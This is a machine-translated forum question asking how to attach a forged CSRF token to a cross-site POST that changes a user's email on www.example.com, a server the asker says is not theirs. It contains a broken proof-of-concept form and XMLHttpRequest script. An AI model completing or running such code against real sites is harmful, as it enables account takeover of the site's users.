說明服務器:發送HTTP POST請求,用指定的CSRF令牌
我想創建一個CSRF POC,但問題是,CSRF令牌是需要在www.example.com爲了防止CSRF攻擊。 幸運的是,我設法創建了一個有效的,總是的CSRF-Token;可以說「abcdef」。所以現在我可以創建一個有效的CSRF POC,只要我可以發送CSRF-Token。 這是可能與例如AJAX?我搜查了半個小時,但在這方面找不到任何答案,但我想這就是我。
這是我的POC至今:
<form action="http://www.example.com/change-mail" method="post">
<input type="submit">
<input type="hidden" name="email" value="[email protected]">
<!-- TODO: Send the CSRF-Token "abcdef" with it too! -->
</form>
幫助表示讚賞。
編輯@丹尼爾
會是這樣的工作?
HTML部分:
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript" src="test.js"></script>
</head>
<body>
<b>Email</b><br><br>
<form id="email">
<label for="email"> Email : </label>
<input type="text" id="email" />
<br><br>
<input type="button" id="email" value="email"/>
</form>
</body>
</html>
JavaScript部分:
<script>
window.addEventListener('DOMContentLoaded', function() {
var email = document.querySelector('input#email');
email.addEventListener('click', function() {
var emailStr = email.value,
url="http://www.example.com/change-mail";
if (window.XMLHttpRequest) {
xmlHttpReq = new XMLHttpRequest();
}
else if (window.ActiveXObject) {
xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttpReq.open('POST', url, true);
xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlHttpReq.setRequestHeader('X-CSRF-Token', abcdef);
xmlHttpReq.send("email="+emailStr);
</script>
在此先感謝,我必須處理響應嗎? 現在,當我點擊電子郵件按鈕時,當我登錄HTTP請求時,沒有任何反應......太糟糕了。
你能後的Ajax調用的JavaScript? –
你是什麼意思?爲了確保,www.example.com不是我的服務器。 – Yahboysurge
您需要編寫javascript代碼才能進行ajax調用。看看我的意思是在這裏:https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files –